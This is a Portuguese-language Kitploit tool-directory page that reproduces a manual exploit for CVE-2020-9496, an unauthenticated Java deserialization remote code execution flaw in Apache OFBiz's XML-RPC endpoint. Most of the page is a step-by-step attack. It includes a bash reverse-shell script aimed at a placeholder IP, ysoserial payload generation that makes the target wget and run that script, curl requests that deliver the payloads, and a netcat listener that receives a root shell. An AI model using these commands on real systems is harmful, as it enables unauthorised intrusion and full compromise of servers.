Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-9496 — Exploit manual para CVE-2020-9496, uma RCE não autenticada por desserialização de Java no Apache OFBiz XML-RPC, com instruções passo a passo para geração de payload e reverse shell. | Kitploit
Ferramentas/GitHubGitHub/cyber-niz/cve-2020-9496
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

Exploit manual para CVE-2020-9496, uma RCE não autenticada por desserialização de Java no Apache OFBiz XML-RPC, com instruções passo a passo para geração de payload e reverse shell.

Ver Repositório
há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-9496 - RCE

Como as 2 solicitações relacionadas a xmlrpc nas webtools (xmlrpc e ping) não usam autenticação, elas são vulneráveis à desserialização insegura. Este problema foi relatado à equipe de segurança por Alvaro Munoz [email protected] da equipe do GitHub Security Lab.

Esta vulnerabilidade existe devido a problemas de serialização Java ao processar solicitações enviadas para /webtools/control/xmlrpc. Um atacante remoto não autenticado pode explorar esta vulnerabilidade enviando uma solicitação especialmente elaborada. A exploração bem-sucedida resultaria na execução arbitrária de código.

Versão Afetada 17.12.01

Versões Corrigidas 18.12.01, 17.12.04

Blog Original: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

Para que esta POC funcione, precisamos enviar um script shell e executar/acessar esse arquivo via curl.

PASSO 1: Crie um arquivo shell com um comando Bash de uma linha com o seu endereço de IP e porta.

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

PASSO 2: Agora precisamos disponibilizar este arquivo via serviço HTTP

root@kitploit:~
$ sudo python3 -m http.server 80

PASSO 3: Gerar payload via ysoserial - Alterar IP

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

PASSO 4: Copie a saída do seu payload - String muito longa

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

PASSO 5: Use o comando curl abaixo para executar o nosso payload. Cole o payload após extensions”>

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Comando curl sem payload para sua referência

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

Certifique-se de que você recebeu uma requisição no servidor HTTP após a execução do comando curl

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

Como você pode ver, recebemos uma requisição no nosso servidor HTTP. O arquivo foi baixado para o diretório /tmp com o nome shell.sh. Agora, para executar esse arquivo, crie o payload novamente. Mas antes de fazer isso, inicie um listener netcat.

PASSO 6: Inicie o listener NetCat

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

PASSO 7: Crie um payload para executar o script shell baixado anteriormente

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

PASSO 8: Copie e cole a saída dentro do comando curl e execute-o

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

PASSO 10: Verifique o listener NetCat para conexão reversa

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
Baixar ferramenta